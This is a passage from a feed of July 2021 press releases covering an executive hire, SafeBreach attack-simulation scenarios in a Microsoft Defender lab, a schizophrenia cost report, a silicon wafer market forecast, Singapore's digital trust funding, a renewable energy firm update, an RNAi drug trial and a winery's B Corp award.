Based in New York and San Francisco, Level Equity is a growth equity firm focused on providing capital to rapidly growing software and internet companies. The firm manages over $2.7 billion across a series of long-term committed investment partnerships.

For more information about Level Equity, visit: https://www.levelequity.com

SOURCE Ready Education

Related Links

readyeducation.com


As a global business executive with close to 25 years of results-driven experience in the U.S. and international markets, Cadavona will play an integral part in empowering and expanding Ruby Ribbon's network of Stylists. In her role as Chief Growth Officer, her expertise in marketing, brand, strategy, and the direct selling channel, will be used to elevate the new and current Stylist experience and support the brand's cadre of female entrepreneurs. Her vision and leadership align with the company's commitment to support women with confidence and opportunity.

Previously, Cadavona united cross-functional partners and teams to launch new products and programs for Nu Skin, Immunotec, JAFRA and Guthy-Renker. Her strategic and creative thinking were pivotal in the global launches of ageLOC LumiSpa, ageLOC Me, TR90, JAFRA Pro, Meaningful Beauty and Zumba, two of which are part of a multimillion-dollar beauty device franchise. Cadavona earned her B.A. from UCLA and her M.B.A. from the Thunderbird School of Global Management at Arizona State University.

Cadavona said, "I'm excited to join a company that is passionate about creating a better place for all women. It's about time! The future is female, and I look forward to helping drive the growth of this fantastic organization that is committed to women of all shapes, sizes and shades."

"We are thrilled to welcome Leah into the Ruby Ribbon family. Leah is a globally respected leader in social selling channels, known for driving strategic growth at several household name beauty and wellness brands," said Ruby Ribbon CEO Clint McKinlay. "Her alignment to our vision of empowering women at scale, together with her channel know-how and collaborative approach, will help fuel Ruby Ribbon's continued growth into 2022 and beyond. Under Leah's leadership, Ruby Ribbon's brand promise will come alive for our Stylists as never before."

About Ruby Ribbon

Launched in 2012, Ruby Ribbon is an innovative, social commerce-driven women's intimates, shapewear and athleisure company offering comfort, style and confidence for women of all shapes and sizes. From the start, Ruby Ribbon's mission has been to support and empower women by offering products that make them feel good and by creating opportunities for women to develop their own entrepreneurial businesses and support each other through a body-positive community. For more information, please visit rubyribbon.com .

SOURCE Ruby Ribbon

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rubyribbon.com


SUNNYVALE, Calif., July 14, 2021 /PRNewswire/ -- SafeBreach today announced the addition of new advanced attacks to the Microsoft Defender for Endpoint evaluation lab, providing seamless access to SafeBreach's market-leading continuous security validation platform, to allow users to test their environment and device configurations. This empowers security teams to test the efficacy of their endpoint solution instantly and accurately against top of mind threats, now including FIN7 threat group (using Carbanak malware) as well as the SolarWinds software compromise.

The evaluation lab in Microsoft Defender for Endpoint makes it easy for organizations to build and run proofs of concept (PoCs) in virtual environments using real software and networking scenarios in a safe and controlled environment. These built-in SafeBreach attacks markedly improve the capabilities of the lab; they enable PoCs to clearly demonstrate the effectiveness of various Microsoft Defender for Endpoint configurations and empower security teams to closely observe and review prevention, detection, and remediation features in action. These attacks and the reports they generate cover the full span of a real attack along the entire kill chain.

The new Carbanak+FIN7 advanced attack allows users to replicate local host infection and malicious behavior performed by the threat group FIN7 using the Carbanak malware. The new Solorigate advanced attack allows security teams to replicate attacks on the SolarWinds Orion Platform using the Sunburst malware.

"These are two of the more serious attacks facing security teams in recent memory. Validating that existing controls are tuned to stop these exploits is critical to driving down cyber risk and minimizing chances of data breach and exfiltration of sensitive data," says Itzik Kotler, CTO and Co-Founder of SafeBreach. "The ability to continuously validate controls and use that capability as a means of addressing the most critical risks is no longer optional. Customers and prospects can now visit the evaluation lab in Microsoft Defender for Endpoint to ensure they stay ahead of the opposition, even against these newer and more advanced attack types."

Security teams using the evaluation lab do not need to make any code or configuration changes to run the new and existing SafeBreach attacks. Testers can simply select from one of the available scenarios in their evaluation lab control panel, immediately run the tests, and then receive the results for further validation and analysis.

"The addition of SafeBreach's Carbanak+FIN7 and Solorigate attack simulations to our evaluation lab enables customers to test and improve their security posture against some of the most challenging threats facing companies today," said Rob Lefferts, Corporate Vice President, Microsoft 365 Security. "Cyber-security is a team sport and partners like SafeBreach are critical to our efforts to continuously improve the ability of security teams to validate and optimize the efficacy of Microsoft Defender for Endpoint."

With the addition of the two new attacks, SafeBreach allows security teams to validate their endpoint solutions against the following advanced attacks:

Carbanak+FIN7 - attacks for local host infection and malicious behavior

attacks for local host infection and malicious behavior Solorigate - attacks for SolarWinds Orion Platform compromise using SunBurst malware

attacks for SolarWinds Orion Platform compromise using SunBurst malware APT29 (CozyBear) - attacks for local host infection and malicious behavior

- attacks for local host infection and malicious behavior Credential threat - techniques such as dumping passwords and authentication tokens

- techniques such as dumping passwords and authentication tokens OS configuration changes - modifying the operating system configuration to enable malicious activity

- modifying the operating system configuration to enable malicious activity Code execution - techniques to verify whether it is possible to enable malicious activity

- techniques to verify whether it is possible to enable malicious activity Ransomware infection - known attacks including WannaCry, JAFF, Locky, NotPetya, and others

About SafeBreach

SafeBreach is the world's most widely used continuous security validation platform in large and global scale enterprises. The patented SafeBreach platform empowers CISOs and their teams to validate security controls, maximize their effectiveness, and drive down risk. SafeBreach provides a "hacker's view" of an enterprise's security posture by continuously validating security controls. The platform presents findings in customized dashboards, enabling stakeholders to focus on the biggest risks to the organization. SafeBreach automatically and safely executes thousands of attack methods to validate network, endpoint, cloud, container and email security controls against its Hacker's Playbook, the world's largest collection of attack data broken down by methods, tactics and threat actors. Data from SafeBreach validations can improve SOC team responses and empower management teams to make smarter decisions to better manage risk and invest resources. Headquartered in Sunnyvale, California, the company is funded by Sequoia Capital, Deutsche Telekom Capital Partners, OCV Partners, DNX Ventures, Hewlett Packard Pathfinder, PayPal and investor Shlomo Kramer. For more information, visit www.safebreach.com or follow us on LinkedIn.

Media Contact: Corinna Krueger, VP of Marketing at SafeBreach, 5102193634, [email protected]

SOURCE SafeBreach

Related Links

safebreach.com


FORT LAUDERDALE, Fla., July 14, 2021 /PRNewswire/ -- The Chicago-based cosmetics brand Sandra Plasencia spurns the concept of snake oil products that make outrageous claims and promise eternal youth. The eponymous founder, Sandra Plasencia, has spent decades in the skincare and beauty industries. During that time, she's discovered one constant truth: aging is inevitable, but doing so gracefully is a choice.

Sandra Plasencia began her entrepreneurial activities nearly two decades ago. After spending time in school focusing on other areas, in 2004 Plasencia finally decided to take the plunge into pursuing her passion in the cosmetics industry. In the words of the owner, this decision was inspired by the simple fact that she "loves helping people" and found that doing so through supporting her customers with their skincare needs was "really rewarding."

The move into cosmetics came two years after Plasencia had emigrated to the U.S. from Cuba. Not long afterward, Plasencia's first foray into the health and wellness marketplace manifested in the form of Havana Nights Nails & Spa. It didn't take long for the burgeoning business titan to expand from an initial focus on nails to other spa-related activities. Over a decade and a half later, Plasencia's operation was still thriving, and she was able to both rebrand as Casa Sandra and launch her own line of quality cosmetics, called Sandra Plasencia.

The core of Plasencia's success has always revolved around her clients. She has built a solid base of customers that didn't just appreciate her services. They felt nourished by her brand's message  a message that is much more than skin deep.

From day one, Plasencia has looked beyond exterior beauty. While that is certainly an instrumental part of her industry, the businesswoman digs deeper than shallow results that are aimed at fleeting aspirations of artificial youth. Her company and product line are well known for operating under the mantra that "aging is inevitable, doing so gracefully is a matter of choice."

The empowering message of Plasencia's brands has always resonated with customers of all ages. Rather than focusing on the all-too-common obsession with "youth at any price," Plasencia has put her experience, knowledge, and passion to work for her customers to help them effectively take care of their own natural beauty. Her message that "you have only one skin, take care of it!" has helped countless clients walk away confident in who they are and secure in the fact that they're doing their best to care for their skin.

About Sandra Plasencia: Sandra Placensia founded her salon in 2004 and rebranded to Casa Sandra in 2020. At the same time as the rebrand, she also launched her own line of skin and beauty products under the label Sandra Placensia. These are available both in her spa as well as online.

Please direct inquiries to:

Fran Wei

(954) 732-3657

[email protected]

SOURCE Casa Sandra
ALEXANDRIA,Va., July 14, 2021 /PRNewswire/ -- The Schizophrenia & Psychosis Action Alliance (S&PAA) today released "Societal Costs of Schizophrenia and Related Disorders," a report that identifies the staggering direct and indirect costs of caring for the estimated 2.65 million people in the U.S. living with schizophrenia. The research, commissioned by S&PAA, revealed that schizophrenia cost the U.S. an estimated $281.6 billion in 2020, with a significant amount of direct costs due to health care, incarceration, supportive housing and homelessness. For each person diagnosed with schizophrenia at age 25, the total lifetime cost to the economy is approximately $3.8 million or $92,000 per year.

The report underscores the devastating failure of current laws, public policies and the behavioral healthcare system to provide appropriate medical care for people living with schizophrenia and the need for a better treatment paradigm, one that recognizes the disease as a neurological condition and addresses it accordingly.

The total costs of schizophrenia calculated in this report include:

$62.0 billion in total direct costs chiefly for health care ( $27.2 billion ) and incarceration ( $14.5 billion ), with much of the remaining costs for supportive housing and homelessness;

in total direct costs chiefly for health care ( ) and incarceration ( ), with much of the remaining costs for supportive housing and homelessness; $115.2 billion in indirect costs from lost wages, reduced quality of life and decreased life expectancy; and

in indirect costs from lost wages, reduced quality of life and decreased life expectancy; and $104.5 billion in indirect caregiver costs.

"The report released by the S&PAA is a somber reminder  and a clear warning  that we can no longer afford the cost of inaction on the treatment of those suffering from mental illnesses like schizophrenia," said Congresswoman Eddie Bernice Johnson (TX-30). "Going forward, we must make sure that our commitment to providing quality, affordable, and accessible mental health services is reflected in our research and funding efforts."

"We cannot continue to allow people with schizophrenia to be sent to prison or left to live on the streets simply because they have an untreated medical condition. We can do better, both in terms of the care provided, the money spent and the compassion extended. The time for action  for real change  is now. This report is an important first step," said former Congressman Tim Murphy, PhD, a board member of S&PAA.

Johnson and Murphy were the authors of the Helping Families In Mental Health Crisis Act of 2016, which overwhelmingly passed the House of Representatives and was later amended into the 21st Century Cures Act. Before being elected to Congress, Johnson was the first female African-American Chief Psychiatric Nurse at the V.A. Hospital in Dallas. Murphy is a practicing psychologist and served as the principal investigator for the S&PAA study.

Recognizing that this report's findings are likely an underestimate, S&PAA has launched the Insight Initiative to be a sponsor for further data collection regarding the total economic cost of schizophrenia and psychosis and act as a catalyst for change. The Insight Initiative will issue guidance regarding the collection and reporting of federal, state and local level costs, demographics (race, ethnicity, socioeconomic) and diagnostic data for all support services provided to individuals with schizophrenia. It will also work to foster public-private partnerships designed to accelerate independent research regarding the scope and costs of schizophrenia.

The Insight Initiative's core policy objectives include advocating for the following congressional actions initially as part of the budget reconciliation process, including changes to the Medicare and Medicaid programs:

Directing the National Institute of Mental Health (NIMH) to collect accurate prevalence and incidence data by conducting a system-wide epidemiologic study on schizophrenia and serious mental illness, thereby updating the first Epidemiologic Catchment Area (ECA) program of research commissioned in 1977;

Significantly increasing the annual NIMH clinical research budget allocations for evidence-based studies with the best potential to improve outcomes for individuals with schizophrenia; and

Reauthorizing the 21st Century Cures Act to include funding for priorities that serve individuals living with schizophrenia.

"No cure for schizophrenia is available. However, with early diagnosis and life-long effective treatment and care, individuals living with schizophrenia have unlimited potential," said Gordon Lavigne, CEO of S&PAA. "We know that only with more comprehensive, accurate data and analysis can the U.S. develop targeted policies and ultimately a better system of care for people living with schizophrenia. Furthermore, it is essential to reclassify schizophrenia as a progressive neurodevelopmental condition. Only then can we begin to change the treatment paradigm. On behalf of the millions of people living with and caring for individuals with schizophrenia in the United States, we urge policymakers to support this important Insight Initiative."

Schizophrenia & Psychosis Action Alliance, a non-profit organization based in Alexandria, VA, is on a mission to save lives by changing the treatment paradigm for all people affected by schizophrenia-related brain diseases which involve psychosis. For more information, please visit www.sczaction.org

SOURCE The Schizophrenia & Psychosis Action Alliance

Related Links

https://sczaction.org/


BANGALORE, India

, July 14, 2021 /PRNewswire/ --The Silicon Wafer Market is Segmented by Type (300 mm, 200 mm,  150 mm, Other(450 mm)), by Application (Memory, Logic or MPU, Analog, Discrete Device and Sensor, Others). The report covers global opportunity analysis and industry forecasts from 2021 to 2026. It is published in Valuates Reports under Electronics & Electrical Category.

The Silicon Wafer market size was valued at USD 11150 Million in 2019 and it is expected to reach USD 14390 Million by the end of 2026, growing at a CAGR of 4.2% during the forecast period 2021-2026.

Silicon wafers are an important component of integrated circuits, which power computers, cell phones, and a variety of other devices.

Major factors driving the growth of the silicon wafer market are:

Increasing use of integrated circuits in various devices like computers, smartphones, gaming devices, and military weapons

Silicon wafer market expansion will be fuelled by technological advances that improve wafer capabilities.

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TRENDS INFLUENCING THE GROWTH OF THE SILICON WAFER MARKET

The need for high-performance electronic gadgets is expected to drive the growth of the Silicon Wafer Market. The expansion in the number of businesses and rising living standards have resulted in increased demand for smartphones, computers, and other electronic devices. Silicon wafers are used to make semiconductors, which are the building blocks of contemporary electrical gadgets. These wafers are very clean and impurity-free, making them the ideal substrate for contemporary semiconductors. They are utilized to make microchips and chips, as well as ICs, which are employed in a variety of electronic products.

Silicon wafer market expansion will be fuelled by technological advances that improve wafer capabilities. Automation and artificial intelligence (AI) are utilized to improve operational efficiency across all industry sectors. Companies are turning to silicon wafers to create AI-infused solutions, which is the next trend. To tackle deep learning tasks, silicon chips are designed with parts that function like neurons. The expansion of the silicon wafer market will be aided by the trend of shrinking of electronics, as well as improvements in the Internet of Things. Silicon chips that support high-end digital innovations will help to expand the industry.

The expansion of the silicon wafer market would be aided by the increasing adoption of automation in the automobile industry. The industry's R&D will be aided by the demand for vehicle electrification and improved connectivity. The development of technology like Advanced Driver-Assistance Systems (ADAS) will also help the sector grow even faster.

However, the silicon wafer market's growth would be hampered by the high initial investments required to manufacture these wafers.

Browse the full report with Table of Contents and List of figures at: https://reports.valuates.com/market-reports/QYRE-Auto-39J1929/global-silicon-wafers

SILICON WAFER MARKET SHARE ANALYSIS

Based on type, the wafer sizes larger than or equal to 300 mm are expected to be the most lucrative.

A large wafer diameter allows more semiconductor devices to be produced from a single wafer, increasing efficiency, and productivity. The growth of these wafers from half-inch silicon to 300 mm diameter wafers has been driven by the growing demand for chips and the increased chip throughput offered by huge wafer diameters.

Based on application, the Memory segment is expected to drive the growth of the silicon wafer market.

Memory makers are being forced to move to higher NAND and DRAM densities due to escalating wafer costs and severe supply restrictions. The silicon wafer market will rise as the demand for high-memory applications grows. Mobile internet gadgets, gaming gadgets, digital music players, and PCs all use memory and logic devices such as SDRAM, DRAM, GPU, CPU, and flash memory.

Based on region, China has the highest share of income, reaching 31.58 percent in 2019.

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Major Key Players in the Silicon Wafer Market

Shin Etsu

Sumco

Siltronic

SK siltron

Global Wafers

Wafer Works Corporation

Ferrotec

Shanghai Advanced Silicon Technology Co., Ltd(AST)

Gritek

Guosheng Electronic

QL Electronics

MCL

National Silicon Industry Group

On-Semi Czech

Hebei Poshing Electronics Technology Co.,Ltd

Tianjin Zhonghuan Semiconductor Co., Ltd

ESWIN

Formosa Sumco Technology Corporation

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SIMILAR REPORTS

- The global Semiconductor Wafer market size is projected to reach USD 19930 Million by 2026, from USD 17140 Million in 2019, at a CAGR of 2.2% during the forecast period 2021-2026.

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SINGAPORE, July 14, 2021 /PRNewswire/ -- The Infocomm Media Development Authority (IMDA) and National Research Foundation Singapore (NRF) will invest S$50 million over the next five years to develop their digital trust capabilities.

Announced by Singapore Minister for Communications and Information Mrs Josephine Teo at the ATxAI Conference during Asia Tech x Singapore (ATxSG), this investment will allow Singapore to tap on new possibilities and demands arising from a global digital trust market that is expected to grow exponentially. It further enables Singapore to extend its strength as a trusted hub into the digital realm.

To do this, IMDA will bring together research institutions, institutes of higher learning, and the industry, to drive research and translation in trust technologies. Efforts will be focused on addressing industry needs and unlocking new opportunities enabled by emerging digital trust technologies, and some key areas of focus will include:

Privacy-preserving technologies, which enable organisations to gain insights from data while keeping the information and source protected;

Technologies that address emerging areas in decentralised identity and verification, allowing us to build future-ready capabilities for the next iteration of the internet; and

Testing and assurance, to provide confidence that digital technologies are safe and trustworthy, and allow consumers and stakeholders to transact with peace of mind.

"Singapore believes in a balanced and collaborative approach to AI governance  one that can interoperate with other international AI governance approaches. To this end, Singapore actively engages in multilateral discussions at international platforms such as UNESCO, OECD and Global Partnership on AI. Through such partnerships, we hope to build trust in the digital domain at a global level," said Mrs Teo.

Mrs Teo was speaking as the Guest-of-Honour at the ATxAI Conference. She emphasised the importance of a collaborative approach in building a trusted digital environment for the deployment and adoption of digital technologies, and provided insight into Singapore's digital agenda in helping industry build trust with stakeholders through the development of testing and certification programmes. This builds on our existing efforts to develop practical guidelines on deploying AI responsibly via the Model AI Governance Framework. .

Held on 14 July, the ATxAI Conference organised by IMDA, Personal Data Protection Commission, and the National University of Singapore, brought together industry thought leaders, policymakers and experts from the East and West to discuss leading technological trends and their implications for businesses and policy making, and provided insights on the value of AI governance to the industry.

For more information on ATxSG, please visit our website here .

Supplementary Material

For more details, kindly refer to:

(1) Keynote Address by Minister Josephine Teo at ATxAI Conference

Join our social conversation: LinkedIn | Facebook | Twitter

About Asia Tech x Singapore

Asia Tech x Singapore (ATxSG) is Asia's flagship tech event where technology intersects with society and the digital economy. Taking place from 13 to 16 July 2021, ATxSG is organised by the Infocomm Media Development Authority (IMDA) and Informa Tech and supported by the Singapore Tourism Board (STB). This inaugural event builds on the foundations of Singapore's Smart Nation Innovation Week and Informa Tech's ConnecTechAsia into a single flagship tech platform led by four main segments  ATxSummit, ATxEnterprise, ATxImpact, and ATxPlus.

ATxSG drives conversations only possible in Singapore across business, tech and government that will shape our shared digital future. It enables participants to network and keep their finger on the pulse of latest tech trends, challenges and opportunities.

For more information on the event, please visit asiatechxsg.com.

About Info-communications Media Development Authority (IMDA)

The Infocomm Media Development Authority (IMDA) leads Singapore's digital transformation with infocomm media. To do this, IMDA will develop a dynamic digital economy and a cohesive digital society, driven by an exceptional infocomm media (ICM) ecosystem  by developing talent, strengthening business capabilities, and enhancing Singapore's ICM infrastructure. IMDA also regulates the telecommunications and media sectors to safeguard consumer interests while fostering a pro-business environment, and enhances Singapore's data protection regime through the Personal Data Protection Commission.

For more news and information, visit www.imda.gov.sg or follow IMDA on Facebook IMDAsg and Twitter @IMDAsg.

SOURCE Infocomm Media Development Authority (IMDA)

Related Links

http://www.imda.gov.sg


PHOENIX, July 14, 2021 /PRNewswire/ -- SinglePoint Inc. (OTC: SING) ("SinglePoint" or the "Company"), a company focused on providing renewable energy solutions and energy-efficient applications to drive better health and living, today provided an overview of recent key highlights from its subsidiaries, Direct Solar America, EnergyWyze, LLC and Box PureAir, LLC.

SinglePoint has continued building on its strategy to establish the most comprehensive national solar network and portfolio of renewable energy solutions to meet rapidly growing demand. As part of this momentum, the Company's subsidiaries Direct Solar America, EnergyWyze, LLC and Box PureAir, LLC, have continued execute on their respective business strategies, which collectively continue to drive the Company's mission to promote a cleaner sustainable lifestyle while minimizing the impact on the environment and generating continued growth.

"As a company, we continue to accomplish our stated goals and achieve key catalysts on an ongoing basis. The people whom we work alongside of, partner with, and serve, enable us to provide valuable solutions for better health and living, which ultimately enable SinglePoint do drive profits and build value. Our teams at EnergyWyze, Box PureAir, and Direct Solar continue to make substantial progress and we are proud of their accomplishments. I truly believe the continued success of SinglePoint has not and will not be possible without the individuals who make up our team. We are dedicated to focusing the right resources on our value drivers, which include our subsidiaries, and identify the ways which we can have the most impact," stated Wil Ralston, Chief Executive Officer of SinglePoint. "We believe SinglePoint is poised to be a leader in the industry and has the potential to unlock significant value through optimizing our business strategies. Where we are today is only the beginning. Our team and partners remain dedicated to delivering progress, building value, and generating profits."

EnergyWyze

Streamlining, optimizing, and maximizing solar industry lead generation through customer centric approach

Since its acquisition, EnergyWyze has onboarded new clients and systems and has begun working with many of the solar industry's top tier companies. In its first month following the acquisition, EnergyWyze achieved significant strides and currently sells multiple hundreds of leads and appointments to some of the nation's leading solar providers who are looking to increase their residential solar sales and installation rates. Recently, EnergyWyze has expanded its geographic reach to now include the following U.S. states: Colorado, New Mexico, Oregon, Utah, Virginia and Illinois; with expansion into additional states in process.

The company continues to refine and optimize its lead generation platform. It has recently secured a deal to provide leads to AIGA sales which has 50 reps across 8 states and has added expertise to its team with the hiring of a top phone solar setter in the business to help build out the appointment setting team and recruit other talented setters. Additionally, the company has added Energy Audits to our setting program and aligned with one of the top Energy efficiency companies in the U.S. to generate leads and appointments. EnergyWyze has also expanded its service to include Home Energy efficiency and additional markets that complement the healthy living and renewable energy industries.

Box PureAir

Creating safe, clean air zones to improve overall air quality and general health

Reducing pollutants and pathogens, including SARS-CoV-2 (COVID-19) to improve and enhance ventilation and indoor air quality is top of mind. BOX PureAir continues to build its pipeline to meet these growing demands, including the anticipated launch of the "Summit" model which has the potential to redefine the in duct retrofit market. The company has also implemented smart fleet management systems which enable users to monitor multiple units remotely and monitor air quality in the unit location.

Box PureAir has received the initial purchase order for its submitted bids, which will help to establish its process moving forward. Upon closing, Box PureAir expects to see a larger round of purchases orders come through. In addition to opening its office and sales center in May 2021, Box PureAir has commitments from franchisees representing three of the top ten fast food chain restaurants in the United States to install units to protect their customers and employees by improving indoor air quality by creating a safe air zone as local and regional restrictions for indoor dining are lessened or eliminated.

Lastly, with schools returning for the fall semester imminently, the company believes there will be increased participation and action taken by school districts to help students, teachers and everyone else involved towards returning to normal operations and continues to deliver solutions across multiple verticals.

Direct Solar America

Producing clean energy through converting sunlight into power on residential or commercial buildings

Direct Solar America's business continues to drive forward. The company has recently hired multiple industry experts, some of which had served with the company previously. This historical knowledge has been an integral component in the progress of the business. By putting the right people in the right positions and empowering them to move the company forward Direct Solar America as seen significantly improved communications and responses from its customers and partners. Over the course of the next quarter, Direct Solar America plans to scale its business through a few process implementations. With the new processes being defined and implemented, the path towards profitability is in sight.

SinglePoint's Future Moving Forward

Building the most comprehensive national solar network and platform of renewable energy solutions to meet rapidly growing demand

SinglePoint will continue to concentrate its efforts on analyzing, improving and expanding its existing solar businesses while exploring additional accretive acquisitions or partnerships in healthy living and renewable energy applications. The Company will continue to look for accretive acquisitions in an effort to create the first truly national network in the sector. Installers, technologies providing renewable energy solutions and the people that lead these efforts will be vital to SinglePoint's continued growth. As previously announced, SinglePoint has launched a strategic review of the Company's business to ensure optimization and growth opportunities.

The Company expects to provide updates regarding its strategic review in the third quarter of 2021.

About SinglePoint Inc.

SinglePoint Inc. is a renewable energy and sustainable lifestyle company focused on providing environmentally friendly energy efficiencies and healthy living solutions. SinglePoint is initially focused on building the largest network of renewable energy solutions and modernizing the traditional solar and energy storage model. The Company is also actively exploring future growth opportunities in air purification, electric vehicle charging, solar as a subscription service, and additional energy efficiencies and appliances that enhance sustainability and a healthier life. For more information, visit the Company's website (www.singlepoint.com) and connect on LinkedIn and Twitter.

Forward-Looking Statements

Certain statements in this news release may contain forward-looking information within the meaning of Rule 175 under the Securities Act of 1933 and Rule 3b-6 under the Securities Exchange Act of 1934 and are subject to the safe harbor created by those rules. All statements, other than statements of fact, included in this release, including, without limitation, statements regarding potential plans and objectives of the Company, the use of proceed, anticipated growth and future expansion, are forward-looking statements that involve risks and uncertainties.

There can be no assurance that such statements will prove to be accurate and actual results and future events could differ materially from those anticipated in such statements.

Technical complications, which may arise, could prevent the prompt implementation of any strategically significant plan(s) outlined above. The Company undertakes no duty to revise or update any forward-looking statements to reflect events or circumstances after the date of this release.

Investor Contact:

JTC Team, LLC

Jenene Thomas

833-475-8247

[email protected]

SOURCE SinglePoint Inc.

Related Links

singlepoint.com


GAITHERSBURG, Md. and SUZHOU BIOBAY, China, July 14, 2021 /PRNewswire/ -- Sirnaomics, Inc., a biopharmaceutical company engaged in the discovery and development of RNAi therapeutics against cancer and fibrotic diseases, today announced dose administration for the first patient in a Phase 2 study of the company's drug candidate, STP705, for Keloid scar prevention. STP705 is a siRNA (small interfering RNA) therapeutic that takes advantage of a dual-targeted inhibitory property and polypeptide nanoparticle (PNP)-enhanced delivery to directly knock down both TGF-1 and COX-2 gene expression.

"No treatment options, apart from surgical removal, are currently available for patients with keloid scarring, which is a serious medical condition of abnormal scar formation and pain that can cause negative psychological impacts on patients who suffer from the disease," said Michael Molyneaux M.D., Chief Medical Officer at Sirnaomics. "Dosing our first patient in the Phase 2 study is critical to moving the STP705 program forward, and learning more about the impact on patients who are suffering from this condition."

The Phase 2 trial is a multi-center, randomized, double-blind, multiple-arm, controlled study and is designed to evaluate the safety and efficacy of various doses of STP705 in reducing post-keloidectomy keloid recurrence in adult patients. Sirnaomics plans to enroll a total of 50 patients in the Phase 2 study. The primary endpoint of this trial is to measure the rate of recurrence in patients who have undergone surgery alone (receiving placebo) versus surgery and STP705 at three months, six months, and 12 months post-surgical excision.

"With this milestone in our research, the first patient dose of STP705 will allow us to receive additional data on safety and tolerance," said Patrick Lu, Ph.D., founder, President and Chief Executive Officer at Sirnaomics. "We look forward to seeing the results readout of this clinical trial surrounding STP705's unique mechanism of action on skin fibrotic scarring."

Sirnaomics expects to report initial clinical data from the Phase 2 trial in the second half of 2021. Additional information about this clinical trial is available at clinicaltrials.gov using the identifier: NCT04844840.

About Keloid Scar

Keloids form as a result of aberrations of physiologic wound healing and may arise following any insult to the deep dermis. By causing pain, pruritus and contractures, excessive scarring significantly affects the patient's quality of life, both physically and psychologically. Decades of multiple studies on keloid formation have led to a plethora of therapeutic strategies to prevent or attenuate excessive scar formation. However, most therapeutic approaches remain clinically unsatisfactory, most likely owing to poor understanding of the complex mechanisms underlying the processes of scarring and wound contraction.

Pathophysiology of keloids entails a prolonged inflammatory and proliferative phase of wound healing after injury. Among various cytokines promoting keloids formation, TGF-1 is known as a key regulator of the aberrant fibrogenic response, while COX-2 acts a potent proinflammatory and proliferative mediator. When STP705 was locally injected into the human hypertrophic scar tissues, which were surgically removed from patients and implanted onto nude mice, the company observed scar size reductions, accompanying with not only target gene silencing but down regulation of fibrogenic markers including -SMA, hydroxyproline, Collagen 1, and Collagen 3. Further analysis revealed that STP705 is able to induce fibroblast apoptosis both in vitro and in vivo. Therefore, the synergistic effect of simultaneous silencing of TGF-1 and COX-2 may reverse skin fibrotic scarring through minimizing inflammation and activating fibroblast apoptosis. This mechanism of action of STP705 can be widely applied for treatment of many fibrotic conditions.

About STP705

Sirnaomics' product candidate, STP705, is a siRNA (small interfering RNA) therapeutic that takes advantage of a dual-targeted inhibitory property and polypeptide nanoparticle (PNP)-enhanced delivery to directly knock down both TGF-1 and COX-2 gene expression. The product candidate has received multiple IND approvals from both the U.S. FDA and Chinese NMPA, including treatments of cholangiocarcinoma, nonmelanoma skin cancer, and hypertrophic scar. STP705 has also received Orphan Drug Designation for treatment of cholangiocarcinoma and primary sclerosing cholangitis. A Phase 2a study of STP705 for treatment of squamous cell skin cancer (isSCC) in adult patients demonstrated positive efficacy and safety results, with 76% of all patients (19/25) achieving complete histologically clearance and the two optimal dosing ranges achieving 90% histological clearance of tumor cell in the lesion. No significant or serious adverse events, including no significant cutaneous skin reactions, were reported in the study, and the company was able to define a clear therapeutic window in advance of later stage studies.

About Sirnaomics, Inc.

Sirnaomics, Inc., a leading privately held biopharmaceutical company for discovery and development of RNAi therapeutics, is a Delaware corporation headquartered in Gaithersburg, Maryland, with subsidiaries in Suzhou and Guangzhou, China. The Company's mission is to develop novel therapeutics to alleviate human suffering and advance patient care in areas of high unmet medical need. The guiding principles of the company are: Innovation, Global Vision with a Patient Centered focus. Members of the senior management team have a combined experience in the biopharmaceutical industry, spanning clinical development, regulatory, financial and business management in both the U.S. and China. The company is supported by funding from institutional investors and corporate partnerships. Sirnaomics has developed a strong portfolio of intellectual property with an enriched product pipeline. The therapeutic areas of focus include oncology, anti-fibrotic, anti-viral and metabolic therapeutics. Learn more at www.sirnaomics.com.

Contact:

Sirnaomics:

Michael Molyneaux, MD, MBA

Chief Medical Officer

Email: [email protected]

Investors:

Stephanie Carrington

Tel: +1 646 277 1282

Email : [email protected]

Media:

Mark Corbae

Tel: +1 203 682 8288

Email: [email protected]

SOURCE Sirnaomics, Inc.

Related Links

http://www.sirnaomics.com


DAYTON, Ore., July 14, 2021 /PRNewswire/ -- Sokol Blosser, a Certified B Corporation and one of Oregon's original and most iconic wineries celebrating 50 years, has been recognized as a 2021 Best for The World: Environment recipient, for the third time. Ranking in the top 5 percent of all B Corps in its size group globally, Sokol Blosser earned this honor because of its business practices built around People, Planet and Profit.

Sokol Blosser has practiced sustainability since the beginning. Founded in 1971, the winery earned its first recognition for environmental stewardship in 1983 by the U.S. Soil & Water Conservation District. They built the first LEED-certified winery building in 2002 and their Estate vineyard received full USDA organic certification in 2005. In 2015, Sokol Blosser received B Corp Certification. In its April 2021 B Corp recertification, Sokol Blosser increased its score by 22 percent compared to its 2016 recertification.

Each year, Sokol Blosser publishes a Sustainability Report detailing their accomplishments in three key areas: People, Planet and Profit. Through organic farming, participation in the Prescott Western Bluebird Recovery Project, fostering bee colonies, supporting local charities, offering generous employee compensation and benefits and cultivating an inclusive work environment, Sokol Blosser redefines success. Their wines consistently receive top scores while their business practices help protect the planet and support their community and their people. The 2020 Sustainability Report can be found here.

Alison Sokol Blosser, CEO of Sokol Blosser, commented, "Our parents instilled in us a respect for the planet and our people since we were young. From our start 50 years ago, we have worked to do the right thing every day for the environment, our team, our community and the long-term health of our family business. These are habits for us now. We are extremely proud of this recognition."

Best for The World recognition is administered by B Lab, the global nonprofit that certifies and supports Certified B Corporations, which are for-profit companies dedicated to using business as a force for good. Today there are 4,000 Certified B Corporations across 77 countries and 153 industries, unified by one common goal: transforming the global economy to benefit all people, communities and the planet.

Using the B Impact Assessment, B Lab evaluates how a company's operations and business model impact its workers, community, environment, and customers. To achieve the B Corp Certification, a company must achieve a score of at least 80 points on the assessment.

More than 800 B Corps from over 50 countries were named to the 2021 Best for The World lists. The 2021 Best for The World honorees are determined based on the verified B Impact Assessments of Certified B Corporations. The full lists are available at https://bcorporation.net/ . Oregon is home to the world's highest concentration of B Corps, including seven wineries: A to Z, Brooks, Chehalem, Patton Valley, Sokol Blosser, Stoller, and Winderlea.

